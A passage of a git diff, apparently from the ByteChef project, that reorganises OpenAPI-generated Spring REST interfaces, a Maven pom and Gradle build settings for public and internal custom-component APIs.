+// implement all PetApi methods
+}
+```
+
+You can also use the interface to create [Spring-Cloud Feign clients](http://projects.spring.io/spring-cloud/spring-cloud.html#spring-cloud-feign-inheritance).Eg:
+```java
+@FeignClient(name="pet", url="http://petstore.swagger.io/v2")
+public interface PetClient extends PetApi {
+
+}
+```
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/pom.xml b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/pom.xml
new file mode 100644
index 00000000000..a4bb4956e5f
--- /dev/null
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/pom.xml
@@ -0,0 +1,103 @@
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+    <groupId>org.openapitools</groupId>
+    <artifactId>openapi-spring</artifactId>
+    <packaging>jar</packaging>
+    <name>openapi-spring</name>
+    <version>1</version>
+    <properties>
+        <java.version>17</java.version>
+        <maven.compiler.source>${java.version}</maven.compiler.source>
+        <maven.compiler.target>${java.version}</maven.compiler.target>
+        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
+        <springdoc.version>2.6.0</springdoc.version>
+        <swagger-ui.version>5.17.14</swagger-ui.version>
+    </properties>
+    <parent>
+        <groupId>org.springframework.boot</groupId>
+        <artifactId>spring-boot-starter-parent</artifactId>
+        <version>3.1.3</version>
+        <relativePath/> <!-- lookup parent from repository -->
+    </parent>
+
+    <repositories>
+        <repository>
+            <id>repository.spring.milestone</id>
+            <name>Spring Milestone Repository</name>
+            <url>https://repo.spring.io/milestone</url>
+        </repository>
+    </repositories>
+    <pluginRepositories>
+        <pluginRepository>
+            <id>spring-milestones</id>
+            <url>https://repo.spring.io/milestone</url>
+        </pluginRepository>
+    </pluginRepositories>
+
+    <build>
+        <sourceDirectory>src/main/java</sourceDirectory>
+        <plugins>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-source-plugin</artifactId>
+                <executions>
+                    <execution>
+                        <id>attach-sources</id>
+                        <goals>
+                            <goal>jar</goal>
+                        </goals>
+                    </execution>
+                </executions>
+            </plugin>
+        </plugins>
+    </build>
+    <dependencies>
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-web</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.springframework.data</groupId>
+            <artifactId>spring-data-commons</artifactId>
+        </dependency>
+          <!--SpringDoc dependencies -->
+        <dependency>
+            <groupId>org.springdoc</groupId>
+            <artifactId>springdoc-openapi-starter-webmvc-ui</artifactId>
+            <version>${springdoc.version}</version>
+        </dependency>
+        <!-- @Nullable annotation -->
+        <dependency>
+            <groupId>com.google.code.findbugs</groupId>
+            <artifactId>jsr305</artifactId>
+            <version>3.0.2</version>
+        </dependency>
+        <dependency>
+            <groupId>com.fasterxml.jackson.dataformat</groupId>
+            <artifactId>jackson-dataformat-yaml</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>com.fasterxml.jackson.datatype</groupId>
+            <artifactId>jackson-datatype-jsr310</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.openapitools</groupId>
+            <artifactId>jackson-databind-nullable</artifactId>
+            <version>0.2.8</version>
+        </dependency>
+        <!-- Bean Validation API support -->
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-validation</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>com.fasterxml.jackson.core</groupId>
+            <artifactId>jackson-databind</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.springframework.boot</groupId>
+            <artifactId>spring-boot-starter-test</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+</project>
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/ApiUtil.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/ApiUtil.java
similarity index 100%
rename from server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/ApiUtil.java
rename to server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/ApiUtil.java
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/CustomComponentApi.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/CustomComponentApi.java
new file mode 100644
index 00000000000..64e5e248dbc
--- /dev/null
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/CustomComponentApi.java
@@ -0,0 +1,74 @@
+/*
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+package com.bytechef.ee.platform.customcomponent.configuration.public_.web.rest;
+
+import org.springframework.lang.Nullable;
+import io.swagger.v3.oas.annotations.ExternalDocumentation;
+import io.swagger.v3.oas.annotations.Operation;
+import io.swagger.v3.oas.annotations.Parameter;
+import io.swagger.v3.oas.annotations.Parameters;
+import io.swagger.v3.oas.annotations.media.ArraySchema;
+import io.swagger.v3.oas.annotations.media.Content;
+import io.swagger.v3.oas.annotations.media.Schema;
+import io.swagger.v3.oas.annotations.responses.ApiResponse;
+import io.swagger.v3.oas.annotations.security.SecurityRequirement;
+import io.swagger.v3.oas.annotations.tags.Tag;
+import io.swagger.v3.oas.annotations.enums.ParameterIn;
+import io.swagger.v3.oas.annotations.media.ExampleObject;
+import org.springframework.http.HttpStatus;
+import org.springframework.http.MediaType;
+import org.springframework.http.ResponseEntity;
+import org.springframework.validation.annotation.Validated;
+import org.springframework.web.bind.annotation.*;
+import org.springframework.web.context.request.NativeWebRequest;
+import org.springframework.web.multipart.MultipartFile;
+
+import jakarta.validation.Valid;
+import jakarta.validation.constraints.*;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import jakarta.annotation.Generated;
+
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.044045+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Validated
+@Tag(name = "custom-component", description = "The Platform Custom Component Public API")
+public interface CustomComponentApi {
+
+    default Optional<NativeWebRequest> getRequest() {
+        return Optional.empty();
+    }
+
+    String PATH_DEPLOY_CUSTOM_COMPONENT = "/custom-components/deploy";
+    /**
+     * POST /custom-components/deploy : Deploy a new custom component
+     * Deploy a new custom component.
+     *
+     * @param componentFile The file of a custom component. (optional)
+     * @return Successful operation. (status code 204)
+     */
+    @Operation(
+        operationId = "deployCustomComponent",
+        summary = "Deploy a new custom component",
+        description = "Deploy a new custom component.",
+        tags = { "custom-component" },
+        responses = {
+            @ApiResponse(responseCode = "204", description = "Successful operation.")
+        }
+    )
+    @RequestMapping(
+        method = RequestMethod.POST,
+        value = CustomComponentApi.PATH_DEPLOY_CUSTOM_COMPONENT,
+        consumes = { "multipart/form-data" }
+    )
+    default ResponseEntity<Void> deployCustomComponent(
+        @Parameter(name = "componentFile", description = "The file of a custom component.") @RequestPart(value = "componentFile", required = false) MultipartFile componentFile
+    ) {
+        return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
+
+    }
+
+}
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/openapi.yaml b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/openapi.yaml
new file mode 100644
index 00000000000..35e6f186ab1
--- /dev/null
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/openapi.yaml
@@ -0,0 +1,32 @@
+---
+openapi: "3.0.1"
+info:
+  title: "The Platform Custom Component Public API"
+  version: "1"
+servers:
+  - url: "/api/platform/v1"
+tags:
+  - name: "custom-component"
+    description: "The Platform Custom Component Public API"
+paths:
+  /custom-components/deploy:
+    post:
+      description: "Deploy a new custom component."
+      summary: "Deploy a new custom component"
+      tags:
+        - "custom-component"
+      operationId: "deployCustomComponent"
+      requestBody:
+        content:
+          multipart/form-data:
+            schema:
+              type: "object"
+              properties:
+                componentFile:
+                  description: "The file of a custom component."
+                  type: "string"
+                  format: "binary"
+        required: true
+      responses:
+        "204":
+          description: "Successful operation."
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/CustomComponentApiController.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/CustomComponentApiController.java
similarity index 100%
rename from server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/CustomComponentApiController.java
rename to server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-public-rest/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/CustomComponentApiController.java
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/build.gradle.kts b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/build.gradle.kts
index ebb8f9a7f3c..54be8a7259d 100644
--- a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/build.gradle.kts
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/build.gradle.kts
@@ -3,7 +3,7 @@ plugins {
 }
 
 val generateOpenAPISpring by tasks.registering(org.openapitools.generator.gradle.plugin.tasks.GenerateTask::class) {
-    apiPackage.set("com.bytechef.ee.platform.customcomponent.configuration.public_.web.rest")
+    apiPackage.set("com.bytechef.ee.platform.customcomponent.configuration.web.rest")
     configOptions.set(
         mapOf(
             "interfaceOnly" to "true",
@@ -14,7 +14,7 @@ val generateOpenAPISpring by tasks.registering(org.openapitools.generator.gradle
     generatorName.set("spring")
     inputSpec.set( "$projectDir/openapi.yaml")
     modelNameSuffix.set("Model")
-    modelPackage.set("com.bytechef.ee.platform.customcomponent.configuration.public_.web.rest.model")
+    modelPackage.set("com.bytechef.ee.platform.customcomponent.configuration.web.rest.model")
     outputDir.set("$projectDir/generated")
     schemaMappings.set(
         mapOf(
@@ -25,15 +25,14 @@ val generateOpenAPISpring by tasks.registering(org.openapitools.generator.gradle
 
 sourceSets.main.get().java.srcDir("$projectDir/generated/src/main/java")
 
-//val generateOpenAPITypeScriptFetch by tasks.registering(org.openapitools.generator.gradle.plugin.tasks.GenerateTask::class) {
-//    generatorName.set("typescript-fetch")
-//    inputSpec.set("$projectDir/openapi.yaml")
-//    modelNameSuffix.set("Model")
-//    outputDir.set("$rootDir/client/src/shared/middleware/platform/custom-component")
-//}
+val generateOpenAPITypeScriptFetch by tasks.registering(org.openapitools.generator.gradle.plugin.tasks.GenerateTask::class) {
+    generatorName.set("typescript-fetch")
+    inputSpec.set("$projectDir/openapi.yaml")
+    outputDir.set("$rootDir/client/src/ee/shared/middleware/platform/custom-component")
+}
 
 tasks.register("generateOpenAPI") {
-    dependsOn(generateOpenAPISpring/*, generateOpenAPITypeScriptFetch*/)
+    dependsOn(generateOpenAPISpring, generateOpenAPITypeScriptFetch)
 }
 
 dependencies {
@@ -54,6 +53,7 @@ dependencies {
     implementation("org.springframework.boot:spring-boot-autoconfigure")
     implementation(project(":server:libs:atlas:atlas-coordinator:atlas-coordinator-api"))
     implementation(project(":server:libs:core:commons:commons-util"))
+    implementation(project(":server:libs:core:rest:rest-api"))
     implementation(project(":server:libs:platform:platform-api"))
 
     implementation(project(":server:ee:libs:platform:platform-custom-component:platform-custom-component-configuration:platform-custom-component-configuration-api"))
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/.openapi-generator/FILES b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/.openapi-generator/FILES
index f81391bd6d7..515b591f555 100644
--- a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/.openapi-generator/FILES
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/.openapi-generator/FILES
@@ -1,4 +1,5 @@
 README.md
 pom.xml
-src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/ApiUtil.java
-src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/CustomComponentApi.java
+src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/ApiUtil.java
+src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/CustomComponentApi.java
+src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/model/CustomComponentModel.java
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/CustomComponentApi.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/CustomComponentApi.java
deleted file mode 100644
index 286bf8c1084..00000000000
--- a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/public_/web/rest/CustomComponentApi.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
- * https://openapi-generator.tech
- * Do not edit the class manually.
- */
-package com.bytechef.ee.platform.customcomponent.configuration.public_.web.rest;
-
-import org.springframework.lang.Nullable;
-import io.swagger.v3.oas.annotations.ExternalDocumentation;
-import io.swagger.v3.oas.annotations.Operation;
-import io.swagger.v3.oas.annotations.Parameter;
-import io.swagger.v3.oas.annotations.Parameters;
-import io.swagger.v3.oas.annotations.media.ArraySchema;
-import io.swagger.v3.oas.annotations.media.Content;
-import io.swagger.v3.oas.annotations.media.Schema;
-import io.swagger.v3.oas.annotations.responses.ApiResponse;
-import io.swagger.v3.oas.annotations.security.SecurityRequirement;
-import io.swagger.v3.oas.annotations.tags.Tag;
-import io.swagger.v3.oas.annotations.enums.ParameterIn;
-import io.swagger.v3.oas.annotations.media.ExampleObject;
-import org.springframework.http.HttpStatus;
-import org.springframework.http.MediaType;
-import org.springframework.http.ResponseEntity;
-import org.springframework.validation.annotation.Validated;
-import org.springframework.web.bind.annotation.*;
-import org.springframework.web.context.request.NativeWebRequest;
-import org.springframework.web.multipart.MultipartFile;
-
-import jakarta.validation.Valid;
-import jakarta.validation.constraints.*;
-import java.util.List;
-import java.util.Map;
-import java.util.Optional;
-import jakarta.annotation.Generated;
-
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.451933+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
-@Validated
-@Tag(name = "custom-component", description = "The Platform Custom Component Public API")
-public interface CustomComponentApi {
-
-    default Optional<NativeWebRequest> getRequest() {
-        return Optional.empty();
-    }
-
-    String PATH_DEPLOY_CUSTOM_COMPONENT = "/custom-components/deploy";
-    /**
-     * POST /custom-components/deploy : Deploy a new custom component
-     * Deploy a new custom component.
-     *
-     * @param componentFile The file of a custom component. (optional)
-     * @return Successful operation. (status code 204)
-     */
-    @Operation(
-        operationId = "deployCustomComponent",
-        summary = "Deploy a new custom component",
-        description = "Deploy a new custom component.",
-        tags = { "custom-component" },
-        responses = {
-            @ApiResponse(responseCode = "204", description = "Successful operation.")
-        }
-    )
-    @RequestMapping(
-        method = RequestMethod.POST,
-        value = CustomComponentApi.PATH_DEPLOY_CUSTOM_COMPONENT,
-        consumes = { "multipart/form-data" }
-    )
-    default ResponseEntity<Void> deployCustomComponent(
-        @Parameter(name = "componentFile", description = "The file of a custom component.") @RequestPart(value = "componentFile", required = false) MultipartFile componentFile
-    ) {
-        return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
-
-    }
-
-}
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/ApiUtil.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/ApiUtil.java
new file mode 100644
index 00000000000..9f4ff050721
--- /dev/null
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/ApiUtil.java
@@ -0,0 +1,19 @@
+package com.bytechef.ee.platform.customcomponent.configuration.web.rest;
+
+import org.springframework.web.context.request.NativeWebRequest;
+
+import jakarta.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+public class ApiUtil {
+    public static void setExampleResponse(NativeWebRequest req, String contentType, String example) {
+        try {
+            HttpServletResponse res = req.getNativeResponse(HttpServletResponse.class);
+            res.setCharacterEncoding("UTF-8");
+            res.addHeader("Content-Type", contentType);
+            res.getWriter().print(example);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+}
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/CustomComponentApi.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/CustomComponentApi.java
new file mode 100644
index 00000000000..91fb59c0583
--- /dev/null
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/CustomComponentApi.java
@@ -0,0 +1,185 @@
+/*
+ * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech) (7.18.0).
+ * https://openapi-generator.tech
+ * Do not edit the class manually.
+ */
+package com.bytechef.ee.platform.customcomponent.configuration.web.rest;
+
+import com.bytechef.ee.platform.customcomponent.configuration.web.rest.model.CustomComponentModel;
+import io.swagger.v3.oas.annotations.ExternalDocumentation;
+import io.swagger.v3.oas.annotations.Operation;
+import io.swagger.v3.oas.annotations.Parameter;
+import io.swagger.v3.oas.annotations.Parameters;
+import io.swagger.v3.oas.annotations.media.ArraySchema;
+import io.swagger.v3.oas.annotations.media.Content;
+import io.swagger.v3.oas.annotations.media.Schema;
+import io.swagger.v3.oas.annotations.responses.ApiResponse;
+import io.swagger.v3.oas.annotations.security.SecurityRequirement;
+import io.swagger.v3.oas.annotations.tags.Tag;
+import io.swagger.v3.oas.annotations.enums.ParameterIn;
+import io.swagger.v3.oas.annotations.media.ExampleObject;
+import org.springframework.http.HttpStatus;
+import org.springframework.http.MediaType;
+import org.springframework.http.ResponseEntity;
+import org.springframework.validation.annotation.Validated;
+import org.springframework.web.bind.annotation.*;
+import org.springframework.web.context.request.NativeWebRequest;
+import org.springframework.web.multipart.MultipartFile;
+
+import jakarta.validation.Valid;
+import jakarta.validation.constraints.*;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import jakarta.annotation.Generated;
+
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.053830+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Validated
+@Tag(name = "custom-component", description = "The Platform Custom Component Internal API")
+public interface CustomComponentApi {
+
+    default Optional<NativeWebRequest> getRequest() {
+        return Optional.empty();
+    }
+
+    String PATH_DELETE_CUSTOM_COMPONENT = "/custom-components/{id}";
+    /**
+     * DELETE /custom-components/{id} : Delete an custom component
+     * Delete an custom component.
+     *
+     * @param id The id of an custom component. (required)
+     * @return Successful operation. (status code 204)
+     */
+    @Operation(
+        operationId = "deleteCustomComponent",
+        summary = "Delete an custom component",
+        description = "Delete an custom component.",
+        tags = { "custom-component" },
+        responses = {
+            @ApiResponse(responseCode = "204", description = "Successful operation.")
+        }
+    )
+    @RequestMapping(
+        method = RequestMethod.DELETE,
+        value = CustomComponentApi.PATH_DELETE_CUSTOM_COMPONENT
+    )
+    default ResponseEntity<Void> deleteCustomComponent(
+        @NotNull @Parameter(name = "id", description = "The id of an custom component.", required = true, in = ParameterIn.PATH) @PathVariable("id") Long id
+    ) {
+        return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
+
+    }
+
+
+    String PATH_ENABLE_CUSTOM_COMPONENT = "/custom-components/{id}/enable/{enable}";
+    /**
+     * PATCH /custom-components/{id}/enable/{enable} : Enable/disable a custom component.
+     * Enable/disable a custom component.
+     *
+     * @param id The id of the custom component. (required)
+     * @param enable Enable/disable the custom component. (required)
+     * @return Successful operation. (status code 204)
+     */
+    @Operation(
+        operationId = "enableCustomComponent",
+        summary = "Enable/disable a custom component.",
+        description = "Enable/disable a custom component.",
+        tags = { "custom-component" },
+        responses = {
+            @ApiResponse(responseCode = "204", description = "Successful operation.")
+        }
+    )
+    @RequestMapping(
+        method = RequestMethod.PATCH,
+        value = CustomComponentApi.PATH_ENABLE_CUSTOM_COMPONENT
+    )
+    default ResponseEntity<Void> enableCustomComponent(
+        @NotNull @Parameter(name = "id", description = "The id of the custom component.", required = true, in = ParameterIn.PATH) @PathVariable("id") Long id,
+        @NotNull @Parameter(name = "enable", description = "Enable/disable the custom component.", required = true, in = ParameterIn.PATH) @PathVariable("enable") Boolean enable
+    ) {
+        return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
+
+    }
+
+
+    String PATH_GET_CUSTOM_COMPONENT = "/custom-components/{id}";
+    /**
+     * GET /custom-components/{id} : Get an custom component by id
+     * Get an custom component by id.
+     *
+     * @param id The id of an custom component. (required)
+     * @return The custom component object. (status code 200)
+     */
+    @Operation(
+        operationId = "getCustomComponent",
+        summary = "Get an custom component by id",
+        description = "Get an custom component by id.",
+        tags = { "custom-component" },
+        responses = {
+            @ApiResponse(responseCode = "200", description = "The custom component object.", content = {
+                @Content(mediaType = "application/json", schema = @Schema(implementation = CustomComponentModel.class))
+            })
+        }
+    )
+    @RequestMapping(
+        method = RequestMethod.GET,
+        value = CustomComponentApi.PATH_GET_CUSTOM_COMPONENT,
+        produces = { "application/json" }
+    )
+    default ResponseEntity<CustomComponentModel> getCustomComponent(
+        @NotNull @Parameter(name = "id", description = "The id of an custom component.", required = true, in = ParameterIn.PATH) @PathVariable("id") Long id
+    ) {
+        getRequest().ifPresent(request -> {
+            for (MediaType mediaType: MediaType.parseMediaTypes(request.getHeader("Accept"))) {
+                if (mediaType.isCompatibleWith(MediaType.valueOf("application/json"))) {
+                    String exampleString = "{ \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"icon\" : \"icon\", \"description\" : \"description\", \"language\" : \"JAVA\", \"componentVersion\" : 0, \"title\" : \"title\", \"enabled\" : true, \"__version\" : 1, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"name\" : \"name\", \"id\" : 6 }";
+                    ApiUtil.setExampleResponse(request, "application/json", exampleString);
+                    break;
+                }
+            }
+        });
+        return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
+
+    }
+
+
+    String PATH_GET_CUSTOM_COMPONENTS = "/custom-components";
+    /**
+     * GET /custom-components : Get Custom Components
+     * Get Custom Components.
+     *
+     * @return A list of Custom Components. (status code 200)
+     */
+    @Operation(
+        operationId = "getCustomComponents",
+        summary = "Get Custom Components",
+        description = "Get Custom Components.",
+        tags = { "custom-component" },
+        responses = {
+            @ApiResponse(responseCode = "200", description = "A list of Custom Components.", content = {
+                @Content(mediaType = "application/json", array = @ArraySchema(schema = @Schema(implementation = CustomComponentModel.class)))
+            })
+        }
+    )
+    @RequestMapping(
+        method = RequestMethod.GET,
+        value = CustomComponentApi.PATH_GET_CUSTOM_COMPONENTS,
+        produces = { "application/json" }
+    )
+    default ResponseEntity<List<CustomComponentModel>> getCustomComponents(
+        
+    ) {
+        getRequest().ifPresent(request -> {
+            for (MediaType mediaType: MediaType.parseMediaTypes(request.getHeader("Accept"))) {
+                if (mediaType.isCompatibleWith(MediaType.valueOf("application/json"))) {
+                    String exampleString = "[ { \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"icon\" : \"icon\", \"description\" : \"description\", \"language\" : \"JAVA\", \"componentVersion\" : 0, \"title\" : \"title\", \"enabled\" : true, \"__version\" : 1, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"name\" : \"name\", \"id\" : 6 }, { \"lastModifiedDate\" : \"2000-01-23T04:56:07.000+00:00\", \"lastModifiedBy\" : \"lastModifiedBy\", \"icon\" : \"icon\", \"description\" : \"description\", \"language\" : \"JAVA\", \"componentVersion\" : 0, \"title\" : \"title\", \"enabled\" : true, \"__version\" : 1, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"name\" : \"name\", \"id\" : 6 } ]";
+                    ApiUtil.setExampleResponse(request, "application/json", exampleString);
+                    break;
+                }
+            }
+        });
+        return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
+
+    }
+
+}
diff --git a/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/model/CustomComponentModel.java b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/model/CustomComponentModel.java
new file mode 100644
index 00000000000..d4fdb9c336a
--- /dev/null
+++ b/server/ee/libs/platform/platform-custom-component/platform-custom-component-configuration/platform-custom-component-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/customcomponent/configuration/web/rest/model/CustomComponentModel.java
@@ -0,0 +1,430 @@
+package com.bytechef.ee.platform.customcomponent.configuration.web.rest.model;
+
+import java.net.URI;
+import java.util.Objects;
+import com.fasterxml.jackson.annotation.JsonProperty;
+import com.fasterxml.jackson.annotation.JsonCreator;
+import com.fasterxml.jackson.annotation.JsonTypeName;
+import com.fasterxml.jackson.annotation.JsonValue;
+import java.time.OffsetDateTime;
+import org.springframework.format.annotation.DateTimeFormat;
+import org.springframework.lang.Nullable;
+import org.openapitools.jackson.nullable.JsonNullable;
+import java.time.OffsetDateTime;
+import jakarta.validation.Valid;
+import jakarta.validation.constraints.*;
+import io.swagger.v3.oas.annotations.media.Schema;
+
+
+import java.util.*;
+import jakarta.annotation.Generated;
+
+/**
+ * An custom component.
+ */
+
+@Schema(name = "CustomComponent", description = "An custom component.")
+@JsonTypeName("CustomComponent")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.053830+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+public class CustomComponentModel {
+
+  private @Nullable Integer componentVersion;
+
+  private @Nullable String createdBy;
+
+  @DateTimeFormat(iso = DateTimeFormat.ISO.DATE_TIME)
+  private @Nullable OffsetDateTime createdDate;
+
+  private @Nullable String description;
+
+  private @Nullable Boolean enabled;
+
+  private @Nullable String icon;
+
+  private @Nullable Long id;
+
+  /**
+   * The language in which the component is implemented
+   */
+  public enum LanguageEnum {
+    JAVA("JAVA"),
+    
+    JAVASCRIPT("JAVASCRIPT"),
+    
+    PYTHON("PYTHON"),
+    
+    RUBY("RUBY");
+
+    private final String value;
+
+    LanguageEnum(String value) {
+      this.value = value;
+    }
+
+    @JsonValue
+    public String getValue() {
+      return value;
+    }
+
+    @Override
+    public String toString() {
+      return String.valueOf(value);
+    }
+
+    @JsonCreator
+    public static LanguageEnum fromValue(String value) {
+      for (LanguageEnum b : LanguageEnum.values()) {
+        if (b.value.equals(value)) {
+          return b;
+        }
+      }
+      throw new IllegalArgumentException("Unexpected value '" + value + "'");
+    }
+  }
+
+  private @Nullable LanguageEnum language;
+
+  private @Nullable String lastModifiedBy;
+
+  @DateTimeFormat(iso = DateTimeFormat.ISO.DATE_TIME)
+  private @Nullable OffsetDateTime lastModifiedDate;
+
+  private String name;
+
+  private @Nullable String title;
+
+  private @Nullable Integer version;
+
+  public CustomComponentModel() {
+    super();
+  }
+
+  /**
+   * Constructor with only required parameters
+   */
+  public CustomComponentModel(String name) {
+    this.name = name;
+  }
+
+  public CustomComponentModel componentVersion(@Nullable Integer componentVersion) {
